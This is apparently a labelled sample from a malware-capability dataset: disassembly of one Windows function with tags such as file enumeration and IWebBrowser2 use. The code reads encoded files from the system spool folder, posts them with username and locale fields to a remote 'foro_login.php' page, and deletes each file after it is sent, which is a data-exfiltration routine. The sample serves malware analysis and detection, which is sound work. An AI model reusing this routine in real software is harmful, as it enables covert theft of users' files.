Function at 0x404d09
Capabilities:
Enumerate files on windows
Get common file path
Get geographical location
Initialize iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40de40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x3d0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x54], 0
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString_2
mov dword [ebp - 4], 0
mov word [ebp - 0x38], 0
xor eax, eax
mov dword [ebp - 0x36], eax
mov dword [ebp - 0x32], eax
mov dword [ebp - 0x2e], eax
mov word [ebp - 0x2a], ax
mov word [ebp - 0x24], 0
xor ecx, ecx
mov dword [ebp - 0x22], ecx
mov dword [ebp - 0x1e], ecx
mov dword [ebp - 0x1a], ecx
mov word [ebp - 0x16], cx
mov word [ebp - 0x50], 0
xor edx, edx
mov dword [ebp - 0x4e], edx
mov dword [ebp - 0x4a], edx
mov dword [ebp - 0x46], edx
mov word [ebp - 0x42], dx
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x40], 0
call fcn.00406821
push str._foro_login.php
lea ecx, [ebp - 0x360]
call sub.MFC42.DLL_CString::CString_1
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x390], eax
mov byte [ebp - 4], 1
push 0xff
mov ecx, 0x4173c0
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x4173c8
lea ecx, [ebp - 0x364]
push ecx
call sub.MFC42.DLL_operator
mov dword [ebp - 0x394], eax
mov edx, dword [ebp - 0x394]
mov dword [ebp - 0x398], edx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x390]
push eax
mov ecx, dword [ebp - 0x398]
push ecx
lea edx, [ebp - 0x368]
push edx
call sub.MFC42.DLL_operator_1
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x3a0], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x3a0]
push ecx
lea ecx, [ebp - 0x14]
call fcn.0040d750
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x368]
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x364]
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x360]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::AllocSysString
mov dword [ebp - 0x58], eax
mov ecx, 0x4173d8
call sub.MFC42.DLL_CString::AllocSysString
mov dword [ebp - 0x19c], eax
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov word [ebp - 0x50], 8
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov word [ebp - 0x38], 3
mov dword [ebp - 0x30], 0xe
mov byte [ebp - 4], 4
push 0
call dword [sym.imp.ole32.dll_OleInitialize]
lea edx, [ebp - 0x54]
push edx
push 0x40f56c
push 4
push 0
push 0x40f54c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x54], 0
je 0x4054d9
push 0
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ecx]
call dword [edx + 0xa4]
push 0
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ecx]
call dword [edx + 0xe8]
push 0x140
push 0
lea eax, [ebp - 0x198]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x198]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
je 0x4054cf
mov eax, dword [ebp - 0x198]
and eax, 0x10
test eax, eax
jne 0x4054b6
cmp dword [ebp - 0x3c], 0
jne 0x404f61
jmp 0x4054cf
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x240], 0
jmp 0x404f86
mov ecx, dword [ebp - 0x240]
add ecx, 1
mov dword [ebp - 0x240], ecx
lea edx, [ebp - 0x16c]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
cmp dword [ebp - 0x240], eax
jae 0x404fbc
mov eax, dword [ebp - 0x240]
movsx ecx, byte [ebp + eax - 0x16c]
cmp ecx, 0x5c
jne 0x404fba
mov dword [ebp - 0x254], 1
jmp 0x404f77
cmp dword [ebp - 0x254], 0
jne 0x405017
push 0xff
lea edx, [ebp - 0x354]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str._spool_
lea eax, [ebp - 0x354]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
lea ecx, [ebp - 0x16c]
push ecx
lea edx, [ebp - 0x354]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x354]
push eax
lea ecx, [ebp - 0x16c]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x41557c
lea edx, [ebp - 0x16c]
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jne 0x405040
jmp 0x4054cf
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0
mov eax, dword [ebp - 0x178]
xor ecx, ecx
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1c8], ecx
mov edx, dword [ebp - 0x1cc]
add edx, 0x64
mov eax, dword [ebp - 0x1c8]
adc eax, 0
push edx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x3a4], eax
mov ecx, dword [ebp - 0x3a4]
mov dword [ebp - 0x36c], ecx
mov edx, dword [ebp - 0x36c]
mov dword [ebp - 0x1c0], edx
mov dword [ebp - 0x23c], 0
push 4
push 0
mov eax, dword [ebp - 0x1c0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp - 0x1c4]
mov edx, dword [ecx + 0xc]
and edx, 0x10
test edx, edx
jne 0x4050fd
mov eax, dword [ebp - 0x1c4]
push eax
call dword [sym.imp.MSVCRT.dll_fgetc]
add esp, 4
mov ecx, dword [ebp - 0x1c0]
add ecx, dword [ebp - 0x23c]
mov byte [ecx], al
mov edx, dword [ebp - 0x23c]
add edx, 1
mov dword [ebp - 0x23c], edx
jmp 0x4050be
mov eax, dword [ebp - 0x1c4]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
cmp dword [ebp - 0x23c], 2
jge 0x40511b
jmp 0x4054cf
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.00401000
add esp, 4
mov dword [ebp - 0x3a8], eax
mov edx, dword [ebp - 0x3a8]
mov dword [ebp - 0x24c], edx
mov eax, dword [ebp - 0x24c]
add eax, 0x64
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x3ac], eax
mov ecx, dword [ebp - 0x3ac]
mov dword [ebp - 0x370], ecx
mov edx, dword [ebp - 0x370]
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x250], 0
mov eax, dword [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0x1c0]
push ecx
mov edx, dword [ebp - 0x238]
push edx
call fcn.0040101a
add esp, 0xc
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x244], 0
lea ecx, [ebp - 0x1bc]
call fcn.0040cf20
mov dword [ebp - 0x3b4], eax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x250]
add ecx, 0x400
push ecx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x3b8], eax
mov edx, dword [ebp - 0x3b8]
mov dword [ebp - 0x374], edx
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x248], eax
push 4
push 0
mov ecx, dword [ebp - 0x248]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.DLL_GetSystemDefaultLCID]
mov dword [ebp - 0x234], eax
push 0x64
lea edx, [ebp - 0x230]
push edx
push 0x1001
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoA]
call fcn.0040c250
mov dword [ebp - 0x3bc], eax
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x3bc]
push edx
push str.username_slanguage_sdata
mov eax, dword [ebp - 0x248]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov ecx, dword [ebp - 0x238]
push ecx
mov edx, dword [ebp - 0x248]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
cmp dword [ebp - 0x248], 0
je 0x4052b0
mov eax, dword [ebp - 0x248]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x244], eax
push 0
mov ecx, dword [ebp - 0x248]
push ecx
mov edx, dword [ebp - 0x244]
push edx
push 0x11
lea ecx, [ebp - 0x1bc]
call sub.MFC42.DLL_COleSafeArray::CreateOneDim
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x378], eax
mov ecx, dword [ebp - 0x378]
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x37c], edx
mov eax, dword [ebp - 0x37c]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x1bc]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ecx]
call dword [edx + 0x2c]
mov eax, dword [ebp - 0x54]
push eax
call fcn.0040556a
add esp, 4
lea ecx, [ebp - 0x1a0]
push ecx
mov edx, dword [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0
jl 0x405474
lea edx, [ebp - 0x358]
push edx
push 0x40f48c
mov eax, dword [ebp - 0x1a0]
push eax
mov ecx, dword [ebp - 0x1a0]
mov edx, dword [ecx]
call dword [edx]
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0
jl 0x405462
lea ecx, [ebp - 0x35c]
call fcn.0040d610
mov dword [ebp - 0x3c8], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x35c]
call fcn.0040d650
mov dword [ebp - 0x3cc], eax
call fcn.0040c250
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d0]
push eax
lea ecx, [ebp - 0x380]
call fcn.0040c9c0
mov dword [ebp - 0x3d4], eax
mov ecx, dword [ebp - 0x3d4]
mov dword [ebp - 0x3d8], ecx
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x3d8]
call fcn.0040d690
mov dword [ebp - 0x3dc], eax
mov edx, dword [ebp - 0x3cc]
push edx
mov eax, dword [ebp - 0x3dc]
push eax
mov ecx, dword [ebp - 0x358]
push ecx
mov edx, dword [ebp - 0x358]
mov eax, dword [edx]
call dword [eax + 0xb8]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x380]
call fcn.0040c9a0
lea ecx, [ebp - 0x35c]
call fcn.0040d690
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0
je 0x40543a
mov dword [ebp - 0x3c], 1
lea ecx, [ebp - 0x16c]
push ecx
call dword [sym.imp.MSVCRT.dll__unlink]
add esp, 4
jmp 0x405441
mov dword [ebp - 0x3c], 0
mov edx, dword [ebp - 0x358]
push edx
mov eax, dword [ebp - 0x358]
mov ecx, dword [eax]
call dword [ecx + 8]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x35c]
call fcn.0040d6f0
mov edx, dword [ebp - 0x1a0]
push edx
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [eax]
call dword [ecx + 8]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x384], edx
mov eax, dword [ebp - 0x384]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [ebp - 0x1bc]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1bc]
call fcn.0040cf40
lea edx, [ebp - 0x198]
push edx
mov eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x404f45
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov edx, dword [ebp - 0x19c]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ecx]
call dword [edx + 0x80]
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ecx]
call dword [edx + 8]
call dword [sym.imp.ole32.dll_OleUninitialize]
jmp 0x40552e
mov dword [ebp - 4], 0
xor eax, eax
cmp dword [ebp - 0x3c], 0
setne al
mov byte [ebp - 0x388], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
mov al, byte [ebp - 0x388]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret